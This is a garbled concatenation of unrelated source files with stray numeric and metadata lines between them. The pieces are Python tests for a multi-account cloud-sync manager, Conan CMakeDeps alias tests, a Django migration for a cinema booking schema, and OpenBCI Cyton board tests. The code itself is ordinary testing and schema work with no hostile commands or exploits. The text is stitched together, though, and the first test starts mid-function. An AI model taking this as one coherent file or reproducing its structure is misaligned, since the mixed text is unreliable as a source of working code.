self.man.newAccount('dropbox_stub', 'user') self.man.cuentas[0].fits = returnFalse self.man.newAccount('dropbox_stub', 'user2') self.man.cuentas[1].fits = returnFalse self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList1 = self.man.cuentas[0].getFileList() remoteFileList2 = self.man.cuentas[1].getFileList() expected_fileList = ['/test/muerte.txt'] expected_DBFiles = [] expected_remoteFileList1 = [] expected_remoteFileList2 = [] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList1, expected_remoteFileList1) compareFileLists(remoteFileList2, expected_remoteFileList2) def test_caseName(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/ThisHasUpperCase.txt') # create a file with uppercases self.man.updateLocalSyncFolder() self.man.cuentas[0].deleteFile('/ThisHasUpperCase.txt') self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = [] expected_DBFiles = [] expected_remoteFileList = [] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_fileSize(self): self.man.newAccount('dropbox_stub', 'user') filename = 'test_file.txt' self.man.cuentas[0].free_quota = len(filename) self.man.fileSystemModule.createFile(filename) # create a file with size len(filename) self.man.fileSystemModule.createFile(filename + '2') # create a file with size len(filename) + 1 --> doesn't fit self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = [filename, filename+'2'] expected_DBFiles = [{'path': filename, 'hash': filename, 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}] expected_remoteFileList = [filename] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_fileSize_2(self): self.man.newAccount('dropbox_stub', 'user') self.man.newAccount('dropbox_stub', 'user2') filename = 'test_file.txt' self.man.cuentas[0].free_quota = len(filename) self.man.fileSystemModule.createFile(filename) # create a file with size len(filename) self.man.fileSystemModule.createFile(filename + '2') # create a file with size len(filename) + 1 --> doesn't fit self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user'], 'size': i['size']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() remoteFileList_1 = self.man.cuentas[1].getFileList() expected_fileList = [filename, filename+'2'] expected_DBFiles = [{'path': filename, 'hash': filename, 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user, 'size': len(filename)}, {'path': filename+'2', 'hash': filename+'2', 'account': self.man.cuentas[1].getAccountType(), 'user': self.man.cuentas[1].user, 'size': len(filename) + 1}] expected_remoteFileList_0 = [filename] expected_remoteFileList_1 = [filename+'2'] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList_0, expected_remoteFileList_0) compareFileLists(remoteFileList_1, expected_remoteFileList_1) def test_fileSize_3(self): self.man.newAccount('dropbox_stub', 'user') self.man.newAccount('dropbox_stub', 'user2') filename = 'test_file.txt' self.man.cuentas[0].free_quota = len(filename) self.man.fileSystemModule.createFile(filename) # create a file with size len(filename) self.man.updateLocalSyncFolder() # upload it... self.man.fileSystemModule.createFile(filename) # modify the file (len + 1) self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user'], 'size': i['size']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() remoteFileList_1 = self.man.cuentas[1].getFileList() expected_fileList = [filename] expected_DBFiles = [{'path': filename, 'hash': 'modified', 'account': self.man.cuentas[1].getAccountType(), 'user': self.man.cuentas[1].user, 'size': len(filename) + 1}] expected_remoteFileList_0 = [] expected_remoteFileList_1 = [filename] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList_0, expected_remoteFileList_0) compareFileLists(remoteFileList_1, expected_remoteFileList_1) def test_fileSize_doesnt_fit(self): self.man.newAccount('dropbox_stub', 'user') self.man.newAccount('dropbox_stub', 'user2') filename = 'test_file.txt' self.man.cuentas[0].free_quota = len(filename) self.man.cuentas[1].free_quota = len(filename) self.man.fileSystemModule.createFile(filename) # create a file with size len(filename) self.man.updateLocalSyncFolder() # upload it... self.man.fileSystemModule.createFile(filename) # modify the file (len + 1) self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user'], 'size': i['size']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() remoteFileList_1 = self.man.cuentas[1].getFileList() expected_fileList = [filename] expected_DBFiles = [{'path': filename, 'hash': filename, 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user, 'size': len(filename)}] expected_remoteFileList_0 = [filename] expected_remoteFileList_1 = [] compareFileLists(fileList, expected_fileList) compareFileLists(remoteFileList_0, expected_remoteFileList_0) compareFileLists(remoteFileList_1, expected_remoteFileList_1) compareChangeLists(DBFiles, expected_DBFiles) def test_integrationSync_13(self): self.man.newAccount('dropbox_stub', 'user') filename = 'test_file.txt' self.man.fileSystemModule.createFile(filename) # create a file with size len(filename) self.man.updateLocalSyncFolder() # upload it... self.man.fileSystemModule.createFile(filename) # modify the file (len + 1) self.man.cuentas[0].deleteFile(filename) self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user'], 'size': i['size']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() expected_fileList = [filename] expected_DBFiles = [{'path': filename, 'hash': 'modified', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user, 'size': len(filename) + 1}] expected_remoteFileList_0 = [filename] compareFileLists(fileList, expected_fileList) compareFileLists(remoteFileList_0, expected_remoteFileList_0) compareChangeLists(DBFiles, expected_DBFiles) def test_integrationSync_14(self): self.man.newAccount('dropbox_stub', 'user') filename = 'test_file.txt' self.man.fileSystemModule.createFile(filename) # create a file with size len(filename) self.man.updateLocalSyncFolder() # upload it... self.man.cuentas[0].resetChanges() self.man.cuentas[0].uploadFile(filename, 'revision_number') self.man.fileSystemModule.remove(filename) self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user'], 'size': i['size']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() expected_fileList = [filename] expected_DBFiles = [{'path': filename, 'hash': filename, 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}] expected_remoteFileList_0 = [filename] compareFileLists(fileList, expected_fileList) compareFileLists(remoteFileList_0, expected_remoteFileList_0) compareChangeLists(DBFiles, expected_DBFiles) def test_integrationSync_15(self): self.man.newAccount('dropbox_stub', 'user') filename = 'test_file.txt' self.man.fileSystemModule.createFile(filename) # create a file with size len(filename) self.man.updateLocalSyncFolder() # upload it... self.man.cuentas[0].resetChanges() self.man.cuentas[0].deleteFile(filename) self.man.fileSystemModule.remove(filename) self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user'], 'size': i['size']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() expected_fileList = [] expected_DBFiles = [] expected_remoteFileList_0 = [] compareFileLists(fileList, expected_fileList) compareFileLists(remoteFileList_0, expected_remoteFileList_0) compareChangeLists(DBFiles, expected_DBFiles) def test_integrationSync_16(self): self.man.newAccount('dropbox_stub', 'user') filename = 'test_file.txt' self.man.fileSystemModule.createFile(filename) # create a file with size len(filename) self.man.updateLocalSyncFolder() # upload it... self.man.cuentas[0].resetChanges() self.man.cuentas[0]._delta_reset = True self.man.cuentas[0].uploadFile(filename, 'revision_number') self.man.fileSystemModule.createFile(filename) # create a file with size len(filename) self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user'], 'size': i['size']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() date = datetime.date.today() expected_fileList = [filename + '__CONFLICTED_COPY__' + date.isoformat(), filename] expected_DBFiles = [{'path': filename, 'hash': filename, 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}, {'path': filename + '__CONFLICTED_COPY__' + date.isoformat(), 'hash': 'modified', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}] expected_remoteFileList_0 = [filename + '__CONFLICTED_COPY__' + date.isoformat(), filename] compareFileLists(sorted(fileList), sorted(expected_fileList)) compareFileLists(sorted(remoteFileList_0), sorted(expected_remoteFileList_0)) compareChangeLists(DBFiles, expected_DBFiles) def test_remote_collision_two_accounts(self): self.man.newAccount('dropbox_stub', 'user') self.man.newAccount('dropbox_stub', 'user2') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.updateLocalSyncFolder() self.man.cuentas[0].resetChanges() self.man.cuentas[1].resetChanges() # We have the file in the first account, fully synchronized self.man.cuentas[1].uploadFile('/test/muerte.txt', 'different_revision') # we upload it to the second one self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() remoteFileList_1 = self.man.cuentas[1].getFileList() date = datetime.date.today() expected_fileList = ['/test/muerte.txt', '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat()] expected_DBFiles = [ {'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}, {'path': '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat(), 'hash': '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat(), 'account': self.man.cuentas[1].getAccountType(), 'user': self.man.cuentas[1].user}] expected_remoteFileList_0 = ['/test/muerte.txt'] expected_remoteFileList_1 = ['/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat()] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList_0, expected_remoteFileList_0) compareFileLists(remoteFileList_1, expected_remoteFileList_1) def test_remote_collision_two_accounts_case(self): self.man.newAccount('dropbox_stub', 'user') self.man.newAccount('dropbox_stub', 'user2') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.updateLocalSyncFolder() self.man.cuentas[0].resetChanges() self.man.cuentas[1].resetChanges() # We have the file in the first account, fully synchronized filename_cases = '/test/MuErTe.txt' self.man.fileSystemModule.createFile(filename_cases) # temporally create a file self.man.cuentas[1].uploadFile(filename_cases, 'different_revision') # we upload it to the second account self.man.fileSystemModule.remove(filename_cases) # we have the file only in the remote self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() remoteFileList_1 = self.man.cuentas[1].getFileList() date = datetime.date.today() expected_fileList = ['/test/muerte.txt', '/test/MuErTe.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat()] expected_DBFiles = [ {'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}, {'path': '/test/MuErTe.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat(), 'hash': '/test/MuErTe.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat(), 'account': self.man.cuentas[1].getAccountType(), 'user': self.man.cuentas[1].user}] expected_remoteFileList_0 = ['/test/muerte.txt'] expected_remoteFileList_1 = ['/test/MuErTe.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat()] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList_0, expected_remoteFileList_0) compareFileLists(remoteFileList_1, expected_remoteFileList_1)
58.995833
933
0.678344
4,766
42,477
5.902224
0.037348
0.096054
0.093068
0.07252
0.953359
0.942232
0.928759
0.918806
0.909314
0.903946
0
0.009942
0.16649
42,477
719
934
59.077886
0.784578
0.046943
0
0.799642
0
0
0.171829
0.033846
0
0
0
0
0.025045
1
0.06619
false
0.001789
0.019678
0
0.087657
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9531770045c2a0482892cd1db02bf788736302ad
3,419
py
Python
conans/test/functional/toolchains/cmake/cmakedeps/test_cmakedeps_aliases.py
fanStefan/conan
7e9baff749ded0656e19d343a6483bf33cf32086
[ "MIT" ]
null
null
null
conans/test/functional/toolchains/cmake/cmakedeps/test_cmakedeps_aliases.py
fanStefan/conan
7e9baff749ded0656e19d343a6483bf33cf32086
[ "MIT" ]
null
null
null
conans/test/functional/toolchains/cmake/cmakedeps/test_cmakedeps_aliases.py
fanStefan/conan
7e9baff749ded0656e19d343a6483bf33cf32086
[ "MIT" ]
null
null
null
import textwrap import pytest from conans.test.utils.tools import TestClient consumer = textwrap.dedent(""" from conans import ConanFile from conan.tools.cmake import CMake class Consumer(ConanFile): name = "consumer" version = "1.0" settings = "os", "compiler", "build_type", "arch" generators = "CMakeDeps", "CMakeToolchain" exports_sources = ["CMakeLists.txt"] requires = "hello/1.0" def build(self): cmake = CMake(self) cmake.configure() cmake.build() """) @pytest.mark.tool_cmake def test_global_alias(): conanfile = textwrap.dedent(""" from conans import ConanFile class Hello(ConanFile): name = "hello" version = "1.0" settings = "os", "compiler", "build_type", "arch" def package_info(self): # the default global target is "hello::hello" self.cpp_info.set_property("cmake_target_aliases", ["hello"]) """) cmakelists = textwrap.dedent(""" cmake_minimum_required(VERSION 2.8) find_package(hello REQUIRED) get_target_property(link_libraries hello INTERFACE_LINK_LIBRARIES) message("hello link libraries: ${link_libraries}") """) client = TestClient() client.save({"conanfile.py": conanfile}) client.run("create .") client.save({"conanfile.py": consumer, "CMakeLists.txt": cmakelists}) client.run("create .") assert "hello link libraries: hello::hello" in client.out @pytest.mark.tool_cmake def test_component_alias(): conanfile = textwrap.dedent(""" from conans import ConanFile class Hello(ConanFile): name = "hello" version = "1.0" settings = "os", "compiler", "build_type", "arch" def package_info(self): self.cpp_info.components["buy"].set_property("cmake_target_aliases", ["hola::adios"]) """) cmakelists = textwrap.dedent(""" cmake_minimum_required(VERSION 2.8) find_package(hello REQUIRED) get_target_property(link_libraries hola::adios INTERFACE_LINK_LIBRARIES) message("hola::adios link libraries: ${link_libraries}") """) client = TestClient() client.save({"conanfile.py": conanfile}) client.run("create .") client.save({"conanfile.py": consumer, "CMakeLists.txt": cmakelists}) client.run("create .") assert "hola::adios link libraries: hello::buy" in client.out @pytest.mark.tool_cmake def test_custom_name(): conanfile = textwrap.dedent(""" from conans import ConanFile class Hello(ConanFile): name = "hello" version = "1.0" settings = "os", "compiler", "build_type", "arch" def package_info(self): self.cpp_info.set_property("cmake_target_namespace", "ola") self.cpp_info.set_property("cmake_target_name", "comprar") self.cpp_info.set_property("cmake_target_aliases", ["hello"]) """) cmakelists = textwrap.dedent(""" cmake_minimum_required(VERSION 2.8) find_package(hello REQUIRED) get_target_property(link_libraries hello INTERFACE_LINK_LIBRARIES) message("hello link libraries: ${link_libraries}") """) client = TestClient() client.save({"conanfile.py": conanfile}) client.run("create .") client.save({"conanfile.py": consumer, "CMakeLists.txt": cmakelists}) client.run("create .") assert "hello link libraries: ola::comprar" in client.out
27.796748
80
0.655455
390
3,419
5.582051
0.2
0.089573
0.052366
0.057878
0.78181
0.768489
0.738631
0.713367
0.713367
0.661001
0
0.005913
0.208541
3,419
122
81
28.02459
0.798596
0
0
0.703297
0
0
0.69494
0.156186
0
0
0
0
0.032967
1
0.032967
false
0
0.087912
0
0.120879
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
20f6cd4d0bf5abfdf7e3977ac18d6d0a7b587432
7,479
py
Python
mycinema/migrations/0001_initial.py
jessie0306/MyCinema
110094993722564dfe6b54d2727f865ea5bc4f52
[ "MIT" ]
null
null
null
mycinema/migrations/0001_initial.py
jessie0306/MyCinema
110094993722564dfe6b54d2727f865ea5bc4f52
[ "MIT" ]
null
null
null
mycinema/migrations/0001_initial.py
jessie0306/MyCinema
110094993722564dfe6b54d2727f865ea5bc4f52
[ "MIT" ]
null
null
null
# Generated by Django 3.2.3 on 2021-09-17 08:58 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Cinemas', fields=[ ('cine_id', models.AutoField(primary_key=True, serialize=False)), ('cine_name', models.CharField(blank=True, max_length=255, null=True)), ('location', models.CharField(blank=True, max_length=255, null=True)), ('current_movies', models.CharField(blank=True, max_length=255, null=True)), ], options={ 'db_table': 'cinemas', 'managed': False, }, ), migrations.CreateModel( name='Members', fields=[ ('member_id', models.CharField(max_length=255, primary_key=True, serialize=False)), ('member_pw', models.CharField(blank=True, max_length=255, null=True)), ('member_name', models.CharField(blank=True, max_length=255, null=True)), ('member_tel', models.CharField(blank=True, max_length=255, null=True)), ('resident_num', models.CharField(blank=True, max_length=255, null=True)), ('birth', models.DateField(blank=True, null=True)), ('gender', models.CharField(blank=True, max_length=255, null=True)), ('like_genre', models.CharField(blank=True, max_length=255, null=True)), ], options={ 'db_table': 'members', 'managed': False, }, ), migrations.CreateModel( name='Movies', fields=[ ('movie_id', models.IntegerField(primary_key=True, serialize=False)), ('movie_name', models.CharField(blank=True, max_length=255, null=True)), ('director', models.CharField(blank=True, max_length=255, null=True)), ('actor', models.CharField(blank=True, max_length=255, null=True)), ('genre', models.CharField(blank=True, max_length=255, null=True)), ('age_limit', models.CharField(blank=True, max_length=255, null=True)), ('story', models.TextField(blank=True, null=True)), ('open_date', models.DateField(blank=True, null=True)), ('close_date', models.DateField(blank=True, null=True)), ('poster_src', models.CharField(blank=True, max_length=255, null=True)), ], options={ 'db_table': 'movies', 'managed': False, }, ), migrations.CreateModel( name='MovieSchedules', fields=[ ('schedule_id', models.AutoField(primary_key=True, serialize=False)), ('cine_name', models.CharField(blank=True, max_length=255, null=True)), ('movie_name', models.CharField(blank=True, max_length=255, null=True)), ('house_num', models.CharField(blank=True, max_length=255, null=True)), ('movie_time', models.CharField(blank=True, max_length=255, null=True)), ('movie_date', models.DateField(blank=True, null=True)), ], options={ 'db_table': 'movie_schedules', 'managed': False, }, ), migrations.CreateModel( name='MymovieRe', fields=[ ('post_id', models.AutoField(primary_key=True, serialize=False)), ('re_pw', models.CharField(blank=True, max_length=255, null=True)), ('title', models.CharField(blank=True, max_length=255, null=True)), ('cont', models.TextField(blank=True, null=True)), ('like_genre', models.CharField(blank=True, max_length=255, null=True)), ('bip', models.CharField(blank=True, max_length=255, null=True)), ('bdate', models.DateTimeField(blank=True, null=True)), ('readcnt', models.IntegerField(blank=True, null=True)), ('gnum', models.IntegerField(blank=True, null=True)), ('onum', models.IntegerField(blank=True, null=True)), ('nested', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'mymovie_re', 'managed': False, }, ), migrations.CreateModel( name='Nonmembers', fields=[ ('nm_id', models.AutoField(primary_key=True, serialize=False)), ('nm_birth', models.DateField(blank=True, null=True)), ('nm_tel', models.CharField(blank=True, max_length=255, null=True)), ('nm_pw', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'nonmembers', 'managed': False, }, ), migrations.CreateModel( name='Tickets', fields=[ ('ticket_id', models.IntegerField(primary_key=True, serialize=False)), ('ticket_date', models.DateTimeField(blank=True, null=True)), ('cine_name', models.CharField(blank=True, max_length=255, null=True)), ('seat', models.CharField(blank=True, max_length=255, null=True)), ('movie_name', models.CharField(blank=True, max_length=255, null=True)), ], options={ 'db_table': 'tickets', 'managed': False, }, ), migrations.CreateModel( name='TicketsNm', fields=[ ('ticket_id', models.AutoField(primary_key=True, serialize=False)), ('ticket_date', models.DateTimeField(blank=True, null=True)), ('cine_name', models.CharField(blank=True, max_length=255, null=True)), ('seat', models.CharField(blank=True, max_length=255, null=True)), ('movie_id', models.IntegerField(blank=True, null=True)), ('movie_name', models.CharField(blank=True, max_length=255, null=True)), ], options={ 'db_table': 'tickets_nm', 'managed': False, }, ), migrations.CreateModel( name='Voc', fields=[ ('post_id', models.AutoField(primary_key=True, serialize=False)), ('voc_pw', models.CharField(blank=True, max_length=255, null=True)), ('title', models.CharField(blank=True, max_length=255, null=True)), ('cont', models.TextField(blank=True, null=True)), ('voc_type', models.CharField(blank=True, max_length=255, null=True)), ('bip', models.CharField(blank=True, max_length=255, null=True)), ('bdate', models.DateTimeField(blank=True, null=True)), ('readcnt', models.IntegerField(blank=True, null=True)), ('gnum', models.IntegerField(blank=True, null=True)), ('onum', models.IntegerField(blank=True, null=True)), ('nested', models.IntegerField(blank=True, null=True)), ], options={ 'db_table': 'voc', 'managed': False, }, ), ]
46.453416
99
0.532558
737
7,479
5.274084
0.128901
0.129663
0.108052
0.209931
0.864934
0.78158
0.766401
0.715976
0.682532
0.615385
0
0.023594
0.319963
7,479
160
100
46.74375
0.740661
0.006017
0
0.562092
1
0
0.103202
0
0
0
0
0
0
1
0
false
0
0.006536
0
0.03268
0
0
0
0
null
0
0
1
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
1f41e1406c46ebcb032d4541d8a3ebcc693ffc4d
5,353
py
Python
tests/test_cyton.py
vishwas1234567/OpenBCI_Python
25232ac7602e0b651796dcaa0bc710c1d9cc700c
[ "MIT" ]
414
2015-01-18T21:53:07.000Z
2020-04-05T11:50:35.000Z
tests/test_cyton.py
vishwas1234567/OpenBCI_Python
25232ac7602e0b651796dcaa0bc710c1d9cc700c
[ "MIT" ]
106
2015-02-19T19:18:17.000Z
2020-03-14T17:19:43.000Z
tests/test_cyton.py
ikmckenz/OpenBCI_Python
25232ac7602e0b651796dcaa0bc710c1d9cc700c
[ "MIT" ]
206
2015-01-04T06:27:55.000Z
2020-03-03T12:18:54.000Z
import unittest from openbci.cyton import OpenBCICyton PORT = 'loop://' class TestOpenBCICyton(unittest.TestCase): def setUp(self): self.cyton = OpenBCICyton(port=PORT) def tearDown(self): self.cyton.disconnect() def test_init(self): """After initialization, we send b'v' to initialize 32-bit board.""" self.assertEqual(self.cyton.ser_read(), b'v', "Expected initialization character") def test_filter_toggles(self): self.test_init() self.cyton.enable_filters() self.assertEqual(self.cyton.ser_read(), b'f', "Expected enable filter character") self.assertTrue(self.cyton.filtering_data) self.cyton.disable_filters() self.assertEqual(self.cyton.ser_read(), b'g', "Expected disable filter character") self.assertFalse(self.cyton.filtering_data) def test_test_signal(self): self.test_init() self.cyton.test_signal(0) self.assertEqual(self.cyton.ser_read(), b'0') self.cyton.test_signal(1) self.assertEqual(self.cyton.ser_read(), b'p') self.cyton.test_signal(2) self.assertEqual(self.cyton.ser_read(), b'-') self.cyton.test_signal(3) self.assertEqual(self.cyton.ser_read(), b'=') self.cyton.test_signal(4) self.assertEqual(self.cyton.ser_read(), b'[') self.cyton.test_signal(5) self.assertEqual(self.cyton.ser_read(), b']') def test_set_channel(self): self.test_init() self.cyton.daisy = True self.cyton.set_channel(channel=1, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'1') self.cyton.set_channel(channel=2, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'2') self.cyton.set_channel(channel=3, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'3') self.cyton.set_channel(channel=4, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'4') self.cyton.set_channel(channel=5, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'5') self.cyton.set_channel(channel=6, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'6') self.cyton.set_channel(channel=7, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'7') self.cyton.set_channel(channel=8, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'8') self.cyton.set_channel(channel=9, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'q') self.cyton.set_channel(channel=10, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'w') self.cyton.set_channel(channel=11, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'e') self.cyton.set_channel(channel=12, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'r') self.cyton.set_channel(channel=13, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b't') self.cyton.set_channel(channel=14, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'y') self.cyton.set_channel(channel=15, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'u') self.cyton.set_channel(channel=16, toggle_position=0) self.assertEqual(self.cyton.ser_read(), b'i') self.cyton.set_channel(channel=1, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'!') self.cyton.set_channel(channel=2, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'@') self.cyton.set_channel(channel=3, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'#') self.cyton.set_channel(channel=4, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'$') self.cyton.set_channel(channel=5, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'%') self.cyton.set_channel(channel=6, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'^') self.cyton.set_channel(channel=7, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'&') self.cyton.set_channel(channel=8, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'*') self.cyton.set_channel(channel=9, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'Q') self.cyton.set_channel(channel=10, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'W') self.cyton.set_channel(channel=11, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'E') self.cyton.set_channel(channel=12, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'R') self.cyton.set_channel(channel=13, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'T') self.cyton.set_channel(channel=14, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'Y') self.cyton.set_channel(channel=15, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'U') self.cyton.set_channel(channel=16, toggle_position=1) self.assertEqual(self.cyton.ser_read(), b'I') if __name__ == "__main__": unittest.main()
43.877049
76
0.660191
740
5,353
4.595946
0.109459
0.22758
0.22905
0.289327
0.833284
0.833284
0.811232
0.792414
0.667745
0.667745
0
0.022093
0.196712
5,353
121
77
44.239669
0.768837
0.011582
0
0.028846
0
0
0.029139
0
0
0
0
0
0.413462
1
0.057692
false
0
0.019231
0
0.086538
0
0
0
0
null
1
1
1
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
9
2f0f34a677d2df47cf24d47b79bde139bfd07bc0
109
py
Python
configger/config/__init__.py
PaperDevil/pyconfigger
75c6e3f74e6e70d8ec9565397e2be9ae8815d44e
[ "MIT" ]
2
2021-02-04T14:29:19.000Z
2021-03-04T12:56:58.000Z
configger/config/__init__.py
PaperDevil/pyconfigger
75c6e3f74e6e70d8ec9565397e2be9ae8815d44e
[ "MIT" ]
null
null
null
configger/config/__init__.py
PaperDevil/pyconfigger
75c6e3f74e6e70d8ec9565397e2be9ae8815d44e
[ "MIT" ]
2
2020-08-19T21:50:30.000Z
2020-11-04T03:51:33.000Z
from configger.config.basic_config import BasicConfig from configger.config.single_config import SingleConfig
54.5
55
0.899083
14
109
6.857143
0.571429
0.270833
0.395833
0
0
0
0
0
0
0
0
0
0.06422
109
2
55
54.5
0.941176
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
2f9f019b59b473334298ecc9815c47f7d4945412
5,967
py
Python
tests/test_hooks/conan-center/test_conan-center.py
lasote/hooks
845c92a1b7da515f9630a2118170f196edf30378
[ "MIT" ]
null
null
null
tests/test_hooks/conan-center/test_conan-center.py
lasote/hooks
